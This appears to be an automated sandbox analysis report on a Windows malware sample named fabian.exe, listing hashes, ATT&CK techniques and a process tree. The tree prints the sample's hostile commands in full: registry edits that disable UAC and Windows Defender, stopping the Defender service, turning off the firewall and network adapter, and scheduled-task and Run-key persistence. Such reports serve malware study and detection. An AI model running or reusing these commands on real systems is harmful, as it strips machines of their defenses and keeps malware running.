41f1e07d35f0495805bb26cdfcc1ece6f5e701d2d0605478eaebd50375ab740a

Analysis

max time kernel
74s
max time network
76s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/07/2026, 11:34

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General

Target
fabian.exe
Size 397KB
Sample260710-npklfsbw21
SHA256 41f1e07d35f0495805bb26cdfcc1ece6f5e701d2d0605478eaebd50375ab740a
MD5 922d2a0f26cf99c81dc103f592c68dab
SHA1 0acb42f147f4535cb4a35e09802963156e27934e
SHA512 da6a78a4385b22aea7f91402dbd7aeb8f3408fa66b2c446b8def424888fc020cbb9c4644e4338f99790cd470400b04e15e9138f475e97a2bd52741c26dbf5834
SSDEEP 6144:SttMaEBydTbqGLl1oqMZHuAx9mynJFq2i3YkWQ2VpX7lkW6aOj9ld0ak+jWnlf7X:S4ETmWynX7lkW6Xbk+Wlz
TLSH
T1E7846C2AD69629A9F237813CCDFB1611E9723C0C03A189DB13A6A6FC0D57EEC9775701
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence ransomware spyware stealer trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fabian.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	fabian.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2836	netsh.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fabian.exe	fabian.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fabian.exe	fabian.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FabianUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fabian.exe"	fabian.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fabian.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6100	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3948	PING.EXE
1148	cmd.exe
5144	PING.EXE
5980	cmd.exe
5148	cmd.exe
4860	cmd.exe
1916	PING.EXE
4872	cmd.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4564	notepad.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
1916	PING.EXE
3948	PING.EXE
5144	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4372	schtasks.exe
464	schtasks.exe
1636	schtasks.exe
5404	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1748	fabian.exe
1748	fabian.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found
Token: SeShutdownPrivilege	3184	Process not Found
Token: SeCreatePagefilePrivilege	3184	Process not Found

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found
3184	Process not Found

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1748	fabian.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 4392	1748	fabian.exe	85
PID 4392 wrote to memory of 4372	4392	cmd.exe	86
PID 1748 wrote to memory of 1904	1748	fabian.exe	87
PID 1904 wrote to memory of 464	1904	cmd.exe	88
PID 1748 wrote to memory of 1224	1748	fabian.exe	89
PID 1748 wrote to memory of 4860	1748	fabian.exe	90
PID 1748 wrote to memory of 4564	1748	fabian.exe	91
PID 3184 wrote to memory of 3460	3184	Process not Found

System policy modification 1 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	fabian.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fabian.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fabian.exe
"C:\Users\Admin\AppData\Local\Temp\fabian.exe"
1⤵
- UAC bypass
- Disables RegEdit via registry modification
- Drops startup file
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:1224
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:2956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4860
- - C:\Windows\system32\PING.EXE
    ping -n 1 google.com
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1916
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe C:\Users\Admin\Desktop\gg.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh interface set interface "Ethernet" admin=disable
  2⤵
  PID:3116
- - C:\Windows\system32\netsh.exe
    netsh interface set interface "Ethernet" admin=disable
    3⤵
    PID:1440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:1388
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:3924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4872
- - C:\Windows\system32\PING.EXE
    ping -n 1 google.com
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  PID:2404
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:2836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1148
- - C:\Windows\system32\PING.EXE
    ping -n 1 google.com
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend
  2⤵
  PID:5424
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:6100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5980

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:2708

C:\Users\Admin\AppData\Local\Temp\fabian.exe
C:\Users\Admin\AppData\Local\Temp\fabian.exe
1⤵
PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
  2⤵
  PID:4100
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
  2⤵
  PID:3396
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5148

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
PID:4556

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:5864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

CachedImage_1080_1920_POS4.jpg

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1080_1920_POS4.jpg
Size 80KB
SHA256 4c8bbf602e5e93d06d5ebed9d35d44d1395aa77c198fbf52a633769333ba1a18
MD5 ce4298b362668226b6a526d13373df6e
SHA1 75ba62ee6ae9394ddbc32996bf281fe6a0a5ff76
SHA512 279ca1eed6754cdcffd11af9ffd3fe74b0cf5f91f8808433a1e42027268df94933dde206ee23c1b6474499718780cee0d5aa90fa555fd6d8740a634040e33e41
SSDEEP 1536:KdcCXBClePp7GBb2q5nTVjmG8Ir2/Rv60jV:gjqexaBqQnJxKJv6y
TLSH
T1C2833CACE96124827F798A0E7B7543D195CB30B53562E1C2393748F63393ADCF6A241D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3184-2-0x0000000002FF0000-0x0000000002FF1000-memory.dmp

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memory/3184-6-0x0000000003080000-0x0000000003081000-memory.dmp

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memory/3184-16-0x0000000002FD0000-0x0000000002FD1000-memory.dmp

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